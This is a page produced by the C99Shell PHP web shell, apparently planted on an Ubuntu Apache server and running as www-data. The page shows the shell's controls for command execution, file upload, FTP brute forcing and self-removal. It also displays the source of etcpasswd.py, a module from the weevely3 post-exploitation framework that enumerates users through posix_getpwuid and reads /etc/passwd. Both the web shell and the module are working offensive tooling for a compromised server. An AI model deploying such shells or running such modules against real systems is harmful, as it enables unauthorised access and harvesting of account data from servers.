!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/audit/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     etcpasswd.py (1.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from weevely.core.module import Module
from weevely.core.vectors import ModuleExec
from weevely.core.vectors import PhpCode


class Etcpasswd(Module):
    """Read /etc/passwd with different techniques."""

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        self.register_arguments(
            [
                {"name": "-real", "help": "Filter only real users", "action": "store_true", "default": False},
                {"name": "-vector", "choices": ("posix_getpwuid", "file", "fread", "file_get_contents", "base64")},
            ]
        )

    def run(self, **kwargs):
        pwdresult = ""
        vector = self.args.get("vector")

        if vector in (None, "posix_getpwuid"):
            pwdresult = PhpCode(
                """if(is_callable('posix_getpwuid')) { for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).PHP_EOL; } }"""
            ).run(self.args)

        if not pwdresult:
            arg_vector = ["-vector", vector] if vector else []
            pwdresult = ModuleExec("file_read", ["/etc/passwd"] + arg_vector).run()

        if not pwdresult:
            return None

        result = ""
        for line in pwdresult.split("\n"):
            fields = line.split(":")
            if len(fields) > 6:
                uid = int(fields[2])
                shell = fields[6]

                if (self.args.get("real") and ((uid == 0 or uid > 999) and "false" not in shell)) or not self.args.get(
                    "real"
                ):
                    result += line + "\n"

        return result.rstrip("\n")

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--